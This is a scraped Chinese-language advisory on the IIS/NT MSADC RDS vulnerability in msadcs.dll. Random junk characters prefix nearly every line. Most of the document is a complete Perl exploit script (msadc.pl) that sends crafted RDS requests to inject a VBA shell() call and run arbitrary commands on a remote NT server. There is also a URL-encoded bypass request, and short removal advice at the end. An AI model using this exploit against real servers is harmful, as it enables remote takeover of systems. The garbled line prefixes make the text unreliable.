IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
(5\d[||9g O"w_sw 涉及程序:
$[9V'K Microsoft NT server
PfMOc+ q Ay. q) 描述:
1F%*k &R 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
9hi(P*%q |kRx[UL 详细:
S}oF7;'Ga 如果你没有时间读详细内容的话,就删除:
r_2VExk c:\Program Files\Common Files\System\Msadc\msadcs.dll
~8qFM 有关的安全问题就没有了。
7.=s1~p a~+WL 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
zK]%qv] +vY`?k` 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
jYssz4)tp 关于利用ODBC远程漏洞的描述,请参看:
F_
lj>;}a5 U8 @*I>vA http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm tw^.(m5d A-NC,3 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
\y+F!;IxL http://www.microsoft.com/security/bulletins/MS99-025faq.asp BB}iBf I' s#CEhb 这里不再论述。
!haXO 5|H(N}S_ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
MhXm-<4
5+PBS)pJ]% /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
/VOST^z! 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
RAJ|#I1 ~V)VGGOL$v mCP +7q7 #将下面这段保存为txt文件,然后: "perl -x 文件名"
+(hwe
jyC sjbC~Te-- #!perl
eT
\Q #
olW`.3f # MSADC/RDS 'usage' (aka exploit) script
#hiDZ>nr #
%y~]3XWik # by rain.forest.puppy
h.0&)t\q" #
0hr)tYW,G # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
LGue=Hkp # beta test and find errors!
g{.@|;d<p <\Dl#DH use Socket; use Getopt::Std;
8c'-eT" getopts("e:vd:h:XR", \%args);
U\plt%2m> ~.=HN}E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
rY+1s^F |0Ug~jKU if (!defined $args{h} && !defined $args{R}) {
7o%|R2mL} print qq~
{@`Uf;hPAX Usage: msadc.pl -h <host> { -d <delay> -X -v }
=*G'.D /* -h <host> = host you want to scan (ip or domain)
<{~UKi -d <seconds> = delay between calls, default 1 second
Ho*RLVI0U -X = dump Index Server path table, if available
Aba%Gh -v = verbose
\{^yB4F_Z -e = external dictionary file for step 5
?DTP-#5Ba `RLrT34 Or a -R will resume a command session
B$eF@v" Al;oI3 ~; exit;}
G~j<I/)" omU)hFvyS $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6>^k9cJp if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
]qTr4`. if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Q ?<9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
!q1^X% a $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
fu;B ?mIn if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
W-B[_ Fi}rv[`XY[ if (!defined $args{R}){ $ret = &has_msadc;
yM ~D.D3H die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
!!pi\J?sk gDBQ\vM8 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
> %*X2'^ . "cmd /c ";
+ {dIs $in=<STDIN>; chomp $in;
DccsVR`7 $command="cmd /c " . $in ;
q.Mck9R7 !S}Au Mw if (defined $args{R}) {&load; exit;}
@_Oe`j^ u $^`hzfI print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
jiD8|%}v &try_btcustmr;
a#j^gu$m xJ.!Q)[ print "\nStep 2: Trying to make our own DSN...";
q/G5aO* &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
CzbNG^+ +u)$o print "\nStep 3: Trying known DSNs...";
T`G"2|ISS &known_dsn;
L-T Ve 'Z9F0l"Nr print "\nStep 4: Trying known .mdbs...";
Y3&ecEE &known_mdb;
F'Vl\qPt sM_e_e if (defined $args{e}){
oVgNG!/c0 print "\nStep 5: Trying dictionary of DSN names...";
}#
^PbM &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
y=`(`|YW}` )SLs
[ print "Sorry Charley...maybe next time?\n";
a
VMFjkW exit;
\5_^P{p7< (LPc\\Vv ##############################################################################
4 (gf!U p-Btbhv sub sendraw { # ripped and modded from whisker
K Hc + sleep($delay); # it's a DoS on the server! At least on mine...
e4LNnJU\| my ($pstr)=@_;
tfQq3 # socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
(HxF\#r? die("Socket problems\n");
^%^0x'" if(connect(S,pack "SnA4x8",2,80,$target)){
9jO+ew select(S); $|=1;
U$Z}<8 print $pstr; my @in=<S>;
I'YotV7 select(STDOUT); close(S);
(`xnA~BN return @in;
dkC / ?R } else { die("Can't connect...\n"); }}
F4{<;4N0 pP&M]' ##############################################################################
^a5>`W a"4 6_> sub make_header { # make the HTTP request
z#/*LP#oY my $msadc=<<EOT
c^k.
<EA POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
-qF| Y
f User-Agent: ACTIVEDATA
rpWy 6oD Host: $ip
#+\G-
=- Content-Length: $clen
9mm(?O~'p Connection: Keep-Alive
`7ZJB$7D|* ?8/h3xV; ADCClientVersion:01.06
_\[G7 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
,oil}N( /L^dHI]Q --!ADM!ROX!YOUR!WORLD!
}5Uf`pM8 Content-Type: application/x-varg
8m0sEV> Content-Length: $reqlen
>S]')O$c ;{20Heuz EOT
tTt~W5lo ; $msadc=~s/\n/\r\n/g;
TQH#sx return $msadc;}
B8Z66#EQ }lVUa{ubf ##############################################################################
E(#2/E6 h='=uj8o5 sub make_req { # make the RDS request
N R{:4zJT my ($switch, $p1, $p2)=@_;
4r&~=up] my $req=""; my $t1, $t2, $query, $dsn;
H'> W
aU_Z/{0 if ($switch==1){ # this is the btcustmr.mdb query
;;5i'h~?]J $query="Select * from Customers where City=" . make_shell();
\eCdGx? $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
AJu. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
8EA?'~" IgL8u elsif ($switch==2){ # this is general make table query
*Y~64FM $query="create table AZZ (B int, C varchar(10))";
Po3W+;@ $dsn="$p1";}
f_8~b0` ZxQP,Ys_Y elsif ($switch==3){ # this is general exploit table query
8b!_b2Za $query="select * from AZZ where C=" . make_shell();
WTx;,TNG $dsn="$p1";}
L8Q!6oO=< Y`uCDfcQ elsif ($switch==4){ # attempt to hork file info from index server
(Bz(KyD[ $query="select path from scope()";
).xWjVC $dsn="Provider=MSIDXS;";}
3}+
\&[ iqeGy&F- elsif ($switch==5){ # bad query
}p~%GA.=98 $query="select";
5"U7I{\ $dsn="$p1";}
@T"385> 4NIfQYC. $t1= make_unicode($query);
$P_Y8: $t2= make_unicode($dsn);
clNP9{ $req = "\x02\x00\x03\x00";
vCM'nkXY $req.= "\x08\x00" . pack ("S1", length($t1));
1YxI q565 $req.= "\x00\x00" . $t1 ;
3$54*J $req.= "\x08\x00" . pack ("S1", length($t2));
dQ]j
r. $req.= "\x00\x00" . $t2 ;
q-#fuD^ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
p(Mv^ea return $req;}
;f
Gi5=- 4tjRju? ##############################################################################
Hw?
J1#1IE >B0S5:S$W sub make_shell { # this makes the shell() statement
??PpHBJ') return "'|shell(\"$command\")|'";}
it$~uP | 65v'/m!ys ##############################################################################
~WSC6Bh@9 |wx1
[xZ sub make_unicode { # quick little function to convert to unicode
[Wc 73- my ($in)=@_; my $out;
Alz#zBGb for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ff0,K#- return $out;}
syF/jWM5 (!s[~O 6 ##############################################################################
G`jhzG i{2KMa{K sub rdo_success { # checks for RDO return success (this is kludge)
P;34Rd my (@in) = @_; my $base=content_start(@in);
YQ/*| if($in[$base]=~/multipart\/mixed/){
z5I<,[` return 1 if( $in[$base+10]=~/^\x09\x00/ );}
}O/Nn0, return 0;}
{8Ll\j@ " V|=
1<v ##############################################################################
.;'xm_Gw< AO6;aT sub make_dsn { # this makes a DSN for us
jo;n~>3P my @drives=("c","d","e","f");
/Q-!><riD print "\nMaking DSN: ";
b~}}{fm&f foreach $drive (@drives) {
s6I]H print "$drive: ";
<OUApp H my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
c1i7Rc{q "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
f[w$3 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
y4') !e $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
IWkBq]Y return 0 if $2 eq "404"; # not found/doesn't exist
})B)-8 if($2 eq "200") {
^:BRbp37i foreach $line (@results) {
\MU4"sXw return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
PA E)3 } return 0;}
L<:ya dx^3(#B ##############################################################################
yAOC<d9 E [LCi, sub verify_exists {
m<E7cY3mX my ($page)=@_;
kHO\#fF< my @results=sendraw("GET $page HTTP/1.0\n\n");
]zO]*d=m return $results[0];}
E]
[DVY bpkn[K"( ##############################################################################
^P[*yf UxW~yk sub try_btcustmr {
7?Fl [FW$ my @drives=("c","d","e","f");
;.Kzc3yz} my @dirs=("winnt","winnt35","winnt351","win","windows");
v [x`I; NoMC*",b> foreach $dir (@dirs) {
2}NfR8
N print "$dir -> "; # fun status so you can see progress
M`(xAVl foreach $drive (@drives) {
sEoS[t|" print "$drive: "; # ditto
9} vWTt0 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
q9OIw1xQr* $reqlenlen=length( "$reqlen" );
k@w&$M{tPF $clen= 206 + $reqlenlen + $reqlen;
E^g6,Y:i9 #\}hN~@F my @results=sendraw(make_header() . make_req(1,$drive,$dir));
X_h+\
7N> if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
YXvKDw'95 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
.}tL:^'~o HV}NT~ ##############################################################################
Y !`H_Qo ]C!u~A\jq sub odbc_error {
1yhx)m;f my (@in)=@_; my $base;
E_++yK^= my $base = content_start(@in);
A#T;Gi if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
^C(AMT $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_7Z$" $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
t[<=QK $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
oR+Fn}mG return $in[$base+4].$in[$base+5].$in[$base+6];}
txi
m|) print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
!54%}x)3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
`]%{0 Rx $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
@y,p-##e '!_o`t@ ##############################################################################
uuq?0t2Z +/ #J]v- sub verbose {
f~]5A%=cZ my ($in)=@_;
WYq, i}S return if !$verbose;
\UXQy{Ex print STDOUT "\n$in\n";}
PgVM>_nHk ar6Z?v$ ##############################################################################
3LEN~N} DU;]Q:r{ sub save {
8}U/fQ~ my ($p1, $p2, $p3, $p4)=@_;
^0r@", open(OUT, ">rds.save") || print "Problem saving parameters...\n";
e@6}?q; print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
&P\T{d2" close OUT;}
9Vp$A$7M }>grGr%oR ##############################################################################
U8moVj8w1 `aCcTs7~]p sub load {
Q[}mH: w my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=14p Ee open(IN,"<rds.save") || die("Couldn't open rds.save\n");
=~R0U @p=<IN>; close(IN);
oL<^m?-u $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
&R 0BuFL8 $target= inet_aton($ip) || die("inet_aton problems");
}b1P!xb!A print "Resuming to $ip ...";
$Q?UyEi $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Lg'z%pi if($p[1]==1) {
Q 5Ln'La$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
d~.#K S $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
A0'Yfuie my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
b+{yF if (rdo_success(@results)){print "Success!\n";}
c^m}ep\F5L else { print "failed\n"; verbose(odbc_error(@results));}}
/ZAEvdO*P elsif ($p[1]==3){
" I:j a7 if(run_query("$p[3]")){
'06[@Cw print "Success!\n";} else { print "failed\n"; }}
,\Cy'TSz elsif ($p[1]==4){
6n>+cX>E if(run_query($drvst . "$p[3]")){
kg_TXB print "Success!\n"; } else { print "failed\n"; }}
Z{%h6"" exit;}
}APf^Ry f9;M"Pd ##############################################################################
A6-JV8^ `>K;S!z sub create_table {
T;I a;<mfE my ($in)=@_;
CnJO]0Op3 $reqlen=length( make_req(2,$in,"") ) - 28;
q'PA2a: $reqlenlen=length( "$reqlen" );
w@hm>6j $clen= 206 + $reqlenlen + $reqlen;
vh((HS-) my @results=sendraw(make_header() . make_req(2,$in,""));
K !`t EW[ return 1 if rdo_success(@results);
:[,n`0lH my $temp= odbc_error(@results); verbose($temp);
:c
c#e&BO return 1 if $temp=~/Table 'AZZ' already exists/;
<x,$ODso return 0;}
{"O'kx [7$.)}Q- ##############################################################################
'#^ONn STn ~]}7|VN.} sub known_dsn {
PE3l2kr # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
mhh8<BI my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
92XzbbLp "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
uQrD}%GI "banner", "banners", "ads", "ADCDemo", "ADCTest");
P.LMu vX&Nh"0H& foreach $dSn (@dsns) {
EFV'hMjS) print ".";
i:@00)V{, next if (!is_access("DSN=$dSn"));
-(~CZ if(create_table("DSN=$dSn")){
K
o,O!T. print "$dSn successful\n";
X5=Dc+ if(run_query("DSN=$dSn")){
]5B5J print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
k|1/gd5 print "Something's borked. Use verbose next time\n";}}} print "\n";}
1H%LUA c_+}` ##############################################################################
vWwp'q MH1??vW sub is_access {
uTngDk my ($in)=@_;
(J5E]NV $reqlen=length( make_req(5,$in,"") ) - 28;
=ejkE;
%L $reqlenlen=length( "$reqlen" );
S$ dFz $clen= 206 + $reqlenlen + $reqlen;
Q!MS_
#O my @results=sendraw(make_header() . make_req(5,$in,""));
YS%HZFY, " my $temp= odbc_error(@results);
_r&`[@m verbose($temp); return 1 if ($temp=~/Microsoft Access/);
v 6Tz7 return 0;}
!\2Xr{f 8h}o5B ##############################################################################
a*!wiTGf ux'!1mN sub run_query {
r:<UV^; 9l my ($in)=@_;
X&pK#= $reqlen=length( make_req(3,$in,"") ) - 28;
pGzzv{H $reqlenlen=length( "$reqlen" );
!Mceg $clen= 206 + $reqlenlen + $reqlen;
fC52nK&T8 my @results=sendraw(make_header() . make_req(3,$in,""));
3
rV)JA return 1 if rdo_success(@results);
#D&eov? my $temp= odbc_error(@results); verbose($temp);
=rGjOb3+ return 0;}
vEk
jd# g&) XaF[! ##############################################################################
ma,H<0R NvQN sub known_mdb {
7vubkj& my @drives=("c","d","e","f","g");
):31!IC my @dirs=("winnt","winnt35","winnt351","win","windows");
#zyEN+ my $dir, $drive, $mdb;
D `c
YQ- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]:8:|*w *v_+a: # this is sparse, because I don't know of many
:iP2e+j my @sysmdbs=( "\\catroot\\icatalog.mdb",
'WUd7 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
QGs\af "\\system32\\certmdb.mdb",
-xPv]j$ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
1!~=8FTv n3-5`Jti my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
?vp'
/l" "\\cfusion\\cfapps\\forums\\forums_.mdb",
QJ\
o"c "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
mbK$_HvU "\\cfusion\\cfapps\\security\\realm_.mdb",
k|'{$/n "\\cfusion\\cfapps\\security\\data\\realm.mdb",
~*@UQ9*p# "\\cfusion\\database\\cfexamples.mdb",
>/9f>d?w^ "\\cfusion\\database\\cfsnippets.mdb",
!8(:G6Ne "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
9{]U6A*K0w "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
vlY83mU. "\\cfusion\\brighttiger\\database\\cleam.mdb",
8XIG<Nc "\\cfusion\\database\\smpolicy.mdb",
&Rdg07e;> "\\cfusion\\database\cypress.mdb",
bj=kqO;*O "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
<k+dJ=f "\\website\\cgi-win\\dbsample.mdb",
KLrxlD4\ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
^"STM'Zh "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2x<,R/} ); #these are just
e3oHe1"hP foreach $drive (@drives) {
Bf1,(^3XH foreach $dir (@dirs){
#?DwOUw foreach $mdb (@sysmdbs) {
bz <f u print ".";
<F{EZ Ii if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
@(<C { print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^{lcj if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
FL*qV"r^n print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
dZK/v } else { print "Something's borked. Use verbose next time\n"; }}}}}
-fKo~\Pr F9IrbLS9c foreach $drive (@drives) {
7u73v+9qn: foreach $mdb (@mdbs) {
|WwC@3) print ".";
gqJSz}' if(create_table($drv . $drive . $dir . $mdb)){
ROsR;C0! print "\n" . $drive . $dir . $mdb . " successful\n";
H]As2$[ if(run_query($drv . $drive . $dir . $mdb)){
8w/$!9[ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
W;!OxOWZJ } else { print "Something's borked. Use verbose next time\n"; }}}}
;5Spdi4w }
H\H4AAP5F$ iq*]CF ##############################################################################
"NWILZwEV d5jZ? sub hork_idx {
*oZ]k`-!8 print "\nAttempting to dump Index Server tables...\n";
.^
djt print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
+?y ', Ir $reqlen=length( make_req(4,"","") ) - 28;
= Lt)15 $reqlenlen=length( "$reqlen" );
RC?gozBFJ $clen= 206 + $reqlenlen + $reqlen;
>%LZ|*U my @results=sendraw2(make_header() . make_req(4,"",""));
AQ+MjS, if (rdo_success(@results)){
ynY( my $max=@results; my $c; my %d;
Vi1l^ Za for($c=19; $c<$max; $c++){
?i'N9 /( $results[$c]=~s/\x00//g;
F#NuZ'U $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
t$~CLq5ad $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
NhJ]X cfP8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
rMr:\M]t $d{"$1$2"}="";}
j}u b foreach $c (keys %d){ print "$c\n"; }
I(m*%> } else {print "Index server doesn't seem to be installed.\n"; }}
,Y9bXC8+dU ~P!\;S ##############################################################################
w]1hoYuV orBB5JJ sub dsn_dict {
[QUaC3l) open(IN, "<$args{e}") || die("Can't open external dictionary\n");
k6eh$*! while(<IN>){
<OgwA$abl% $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
dmA#v:$1 next if (!is_access("DSN=$dSn"));
PzF>yG[ if(create_table("DSN=$dSn")){
jEh Px print "$dSn successful\n";
pNUe|b+P if(run_query("DSN=$dSn")){
b:B+x6M print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
4,EX2 print "Something's borked. Use verbose next time\n";}}}
cPunMHD print "\n"; close(IN);}
qh9d.Q+n O1+OE!w ##############################################################################
"{9^SPsp +%Z#!1u sub sendraw2 { # ripped and modded from whisker
uvG'Kx sleep($delay); # it's a DoS on the server! At least on mine...
da'1H my ($pstr)=@_;
hufpk y[&8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ICdfak die("Socket problems\n");
~aBf. if(connect(S,pack "SnA4x8",2,80,$target)){
(>49SOu;$\ print "Connected. Getting data";
~}"5KX\=# open(OUT,">raw.out"); my @in;
g79zzi- select(S); $|=1; print $pstr;
wF=?EK(;P{ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
@tT2o@2Y^ close(OUT); select(STDOUT); close(S); return @in;
S$N!Dj@e; } else { die("Can't connect...\n"); }}
^=Dz)95c LO;7NK ##############################################################################
m+|yk.md k%D|17I sub content_start { # this will take in the server headers
gUr#3# my (@in)=@_; my $c;
h;[<4zw for ($c=1;$c<500;$c++) {
1u8 k} if($in[$c] =~/^\x0d\x0a/){
g{6FpuA|0 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
q!;u4J else { return $c+1; }}}
)&6ZgRq return -1;} # it should never get here actually
o'EJ,8 *q&^tn b ##############################################################################
;{lb_du2: E]O/'-
sub funky {
t7-6A my (@in)=@_; my $error=odbc_error(@in);
F5y0(=$T if($error=~/ADO could not find the specified provider/){
@#r6->%W print "\nServer returned an ADO miscofiguration message\nAborting.\n";
J5!-<oJ/ exit;}
y
g:&cIr, if($error=~/A Handler is required/){
#_SsSD=.Sy print "\nServer has custom handler filters (they most likely are patched)\n";
-xXdT$Xd exit;}
G)IK5zCDd if($error=~/specified Handler has denied Access/){
V1#:[o63+ print "\nServer has custom handler filters (they most likely are patched)\n";
N&yr?b'!-* exit;}}
m)l'i!Y :y.~IQN ##############################################################################
Y'y
yrn} 8|L;y[v sub has_msadc {
nV:RL|p2jw my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
"l 8YD&q my $base=content_start(@results);
v#|yr< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
9^+E$V1@ return 0;}
K+\2cf?bU dL]wu!wE ########################
CzDV^Iv;Q{ ;&dMtYb dOT7;@ 解决方案:
7#&e0fw/I 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
8S`
j6 2、移除web 目录: /msadc